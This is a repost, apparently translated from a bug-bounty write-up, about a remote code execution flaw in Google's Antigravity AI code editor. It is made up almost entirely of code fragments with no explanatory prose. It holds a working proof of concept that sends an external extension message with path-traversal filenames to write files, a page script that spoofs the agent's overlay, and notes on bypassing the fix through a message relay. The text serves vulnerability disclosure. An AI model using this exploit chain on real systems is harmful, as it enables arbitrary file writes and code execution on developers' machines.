谷歌人工智能代码编辑器 Antigravity 中的远程代码执行漏洞 – 10000 美元赏金

d:\\Antigravity\\resources\\app\\extensions\\antigravity\\bin\\language_server_windows_x64.exe --enable_lsp --extension_server_port 19116 --csrf_token e8d42e20-02b4-4ec8-9156-6ce5d35d0f01 --random_port --cloud_code_endpoint <https://daily-cloudcode-pa.googleapis.com> --app_data_dir antigravity --parent_pipe_path \\\\.\\pipe\\server_8a46fdeaf98e6c96

C:\Users\STARK-PC\AppData\Local\ms-playwright-go\1.50.1\node.exeC:\Users\STARK-PC\AppData\Local\ms-playwright-go\1.50.1\package\cli.jsrun-driver

const n = crypto.randomUUID();await R.ExtensionServer.initialize(e, n)[...][...]t.startLanguageServer = asyncfunction(e, t) {   s = ["--enable_lsp", "--extension_server_port", e.extensionServerPort.toString(), "--csrf_token", e.csrfToken]

(program  (namespace_definition    name: (namespace_name) @name) @definition.namespace) @codeium.lineage_node    (asyncfunction() {try {// Directly set the credentials in the service worker's global scopeconst request = %s; // [1]// Use the direct functions (Playwright compatibility)if (typeof globalThis.setCredentials === 'function') {await globalThis.setCredentials(request.csrfToken, request.serverAddress); // [2]// Initialize the RPC client if the function existsif (typeof globalThis.initializeRpcClient === 'function') {            globalThis.initializeRpcClient();// TODO(b/450106975): Post launch, figure out why we call initializeRpcClient here and in the background.ts. One of the calls is redundant.          }return { success: true, message: 'WindsurfBrowser API initialized successfully' };        } else {return { success: false, message: 'WindsurfBrowser API not available' };        }      } catch (error) {console.error('Error setting credentials:', error);return { success: false, message: 'Error: ' + error.toString() };      }    })()

google3/third_party/jetski/extension_server_pb/extension_server_go_proto.(*LanguageServerStartedRequest).GetCsrfTokengoogle3/third_party/jetski/extension_server_pb/extension_server_go_proto.(*LanguageServerStartedRequest).SetCsrfToken

"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9223 --user-data-dir="C:\\Users\\STARK-PC\\.gemini\\antigravity-browser-profile" --disable-fre --no-default-browser-check --no-first-run --auto-accept-browser-signin-for-tests --ash-no-nudges --disable-features=OfferMigrationToDiceUsers,OptGuideOnDeviceModel --flag-switches-begin --flag-switches-end

node -e "process._debugProcess(40632)"

self.setCredentials = function(a, b){return va(function(c){        eh = { // [1]            Z: a,            V: b        };functionoh(){if (!eh)throw Error("Cannot initialize RPC client: no credentials");var a = eh // [2]      , b = a.Z;    ya: [new nh(b,a)], // [3]    ...functionnh(a, b){    this.Z = a; // [4]    ...nh.prototype.intercept = function(a, b){    a.metadata["x-codeium-csrf-token"] = this.Z; // [5]

const request = %s; // [1]// Use the direct functions (Playwright compatibility)if (typeof globalThis.setCredentials === 'function') {await globalThis.setCredentials(request.csrfToken, request.serverAddress); // [2]// Initialize the RPC client if the function existsif (typeof globalThis.initializeRpcClient === 'function') {            globalThis.initializeRpcClient();

var UtilityScript = class {constructor(isUnderTest) {this.serializeAsCallArgument = serializeAsCallArgument;this.parseEvaluationResultValue = parseEvaluationResultValue;if (isUnderTest)this._setBuiltins();  }  evaluate(isFunction, returnByValue, expression, argCount, ...argsAndHandles) {const args = argsAndHandles.slice(0, argCount);

// Directly set the credentials in the service worker's global scopeconst request = {"action":"setCredentials","csrfToken":"f5d969c7-f4f3-4f87-aca7-8fa1568b6bd5","serverAddress":"http://127.0.0.1:64431"};

window.updateActuationOverlay({"awaitingUserInput": false,"cascadeId": "64821e8c-385d-452d-ba6b-3eb9fe597065","displayString": "Executing JavaScript..."})

window.updateActuationOverlay = t => {            Ga && clearTimeout(Ga);const e = document.getElementById($a);if (!e)returnPromise.reject(newError("Failed to find shadow host"));const n = e.shadowRoot;if (!n)returnPromise.reject(newError("Failed to find shadow root"));const r = {                ...Za,                ...t            };            Za = "" === t.cascadeId ? {                ...qa,                ...t            } : r;const i = n.querySelector("#preact-border-container");return i && (0,            o.XX)(za(Xa, {                ...Za            }), i),            Za.cascadeId && (Ga = setTimeout( () => {                Za = {                    ...qa                },                i && (0,                o.XX)(za(Xa, {                    ...Za                }), i)            }            , 3e4)),Ka()        }

<script>  setInterval(() => {window.updateActuationOverlay({awaitingUserInput: true,cascadeId: "95651fd4-cc10-4e03-884d-f31953b7a13d",displayString: "Shirley: Hello there sudi ;)",passthroughEnabled: false    });  }, 10);</script>

"externally_connectable": {"matches": [ "\\u003Call_urls>" ]   }

chrome.runtime.onMessageExternal.addListener(function(a, b, c){    mh().then(function(){return qh(a, b)

functionqh(a, b) {var c, d, e, g, f, h, k, l, m, q, p, u, x, t, B;return va(function(n) {switch (n.g) {case1:if (a.action !== "rpcCall") {            }            [...]return z(n, ah(d), 4);case4:case3:if (c.method !== "validateCascadeOrCancelOverlay") {              [...]case6:case5:if (c.method !== "smartFocusConversation") {              [...]case8:case7:case2:if (a && typeof a === "object" && a.action === "registerTargetID" && typeof a.targetId === "string") {              [...]            }if (lg(a)) {if (a.action === "getCurrentTabId")return n.return({tabId: ((l = b.tab) == null ? void0 : l.id) || null                    });if (a.action === "serviceWorkerWakeUp")if (a.action === "getMimeType")             [...]case10:return n.return(n.l);case9:if (!a || typeof a !== "object" || typeof a.type !== "string" || !["CHECK_JETSKI_CONNECTION", "ATTEMPT_JETSKI_CONNECTION"].includes(a.type)) {if (a.type !== "CHECK_JETSKI_CONNECTION") {              [...]case11:if (!a || typeof a !== "object" || a.action !== "SaveScreenRecording" || typeof a.za !== "object" || typeof a.filename !== "string" || typeof a.L !== "string") {                n.g = 16;break            }            B = new Qg;            Rg(B, newUint8Array(a.za));            cd(B, 2, a.filename);            cd(B, 3, a.L);return z(n, dh(B).then(function() {}).catch(function() {}), 17);

rpcCallvalidateCascadeOrCancelOverlaysmartFocusConversationregisterTargetIDgetCurrentTabIdserviceWorkerWakeUpgetMimeTypeCHECK_JETSKI_CONNECTIONSaveScreenRecording

window.addEventListener("message", function(a){    a.origin === window.location.origin && a.source === window && (a = a.data) && typeof a === "object" && a !== null && (a.action === "rpcCall" ? chrome.runtime.sendMessage(a).catch(function(){}) : a.action === "proxyRpcCall" ? a.method && a.requestId && chrome.runtime.sendMessage(a).catch(function(){}) : a.action === "registerTargetID" ? a.targetId && typeof a.targetId === "string" && chrome.runtime.sendMessage({        action: "registerTargetID",        targetId: a.targetId    }).catch(function(){}) : a.action === "startScreenRecording" ? chrome.runtime.sendMessage(a).catch(function(){}) : a.action === "stopScreenRecording" && chrome.runtime.sendMessage(a).catch(function(){}))});

if (c.g != 3) return h = c.o, k = newUint8Array(h), A(c, chrome.runtime.sendMessage({                                target: "background",                                action: "SaveScreenRecording",                                K: Array.from(k),                                filename: "screen-recording-" + Date.now() + ".webm",                                H: a                            }), 3);

const EXTENSION_ID = "eeijfnjmjelapkebgockoeaadonbchdd";chrome.runtime.sendMessage(EXTENSION_ID,{action:"SaveScreenRecording", za:{},"filename":"shirley",L:"aaa"})

k = newUint8Array(h)K: Array.from(k)// By having the below type I could ensure it matches exactly as the eg code, this was a good hint as well it indicated that this key was for the file content?K: Array.from(new TextEncoder().encode(`shirley`))

{action:"SaveScreenRecording","filename":"shirley",L:"aaa",za:Array.from(new TextEncoder().encode(`shirley`))}

functiondh(a) {var b = Z;return b.H.J(b.g + "/exa.language_server_pb.LanguageServerService/SaveScreenRecording", a, {}, Ug, void0)}

{"action": "SaveScreenRecording","za": Array.from(new TextEncoder().encode(`shirley`)),"filename": "shirley", // [1]"L": "aaa", // [2]}

*C:\Users\<Username>\.gemini\antigravity\brain\aaa\shirleyC:\Users\<Username>\.gemini\antigravity\brain\[2]\[1]*

const content = "shirley: hey sudi, I love you ;)";const bytes = new TextEncoder().encode(content);const EXTENSION_ID = "eeijfnjmjelapkebgockoeaadonbchdd"; // <-- change thisfunctionsendRecording() {    chrome.runtime.sendMessage(        EXTENSION_ID,        {            action: "SaveScreenRecording",            filename: "../poc.txt",            za:Array.from(bytes),            L:"../../../test",        },(response) => {console.log("Response from Extension:", response);        }    );}sendRecording()

case11:if (!a || typeof a !== "object" || a.action !== "SaveScreenRecording" || typeof a.za !== "object" || typeof a.filename !== "string" || typeof a.L !== "string") {                n.g = 16;break            }if (!sh(b)) // [1]return n.return({success: !1,error: "Unauthorized: SaveScreenRecording only accepted from offscreen document"                });if (!Z) {                n.g = 17;break            }            B = new Qg;            Rg(B, newUint8Array(a.za));            cd(B, 2, a.filename);            cd(B, 3, a.L);return z(n, dh(B).then(function() {}).catch(function() {}), 17);

functionsh(a) {var b, c, d = (c = (b = a.url) == null ? void0 : b.includes("/static/offscreen.html")) != null ? c : !1;    b = a.id === chrome.runtime.id;    a = !a.tab;return d && b && a}

chrome.runtime.onMessageExternal.addListener(function(a, b, c){    mh().then(function(){return qh(a, b)

a.url // https://attacker.com/

return d && b && a

window.addEventListener("message", function(a) {        chrome.runtime.sendMessage(a)    })

window.addEventListener("message", function(a){    a.origin === window.location.origin && a.source === window && (a = a.data) && typeof a === "object" && a !== null && (a.action === "rpcCall" ? chrome.runtime.sendMessage(a).catch(function(){}) : a.action === "proxyRpcCall" ? a.method && a.requestId && chrome.runtime.sendMessage(a).catch(function(){}) : a.action === "registerTargetID" ? a.targetId && typeof a.targetId === "string" && chrome.runtime.sendMessage({        action: "registerTargetID",        targetId: a.targetId    }).catch(function(){}) : a.action === "startScreenRecording" ? chrome.runtime.sendMessage(a).catch(function(){}) : a.action === "stopScreenRecording" && chrome.runtime.sendMessage(a).catch(function(){}))});

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安 

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)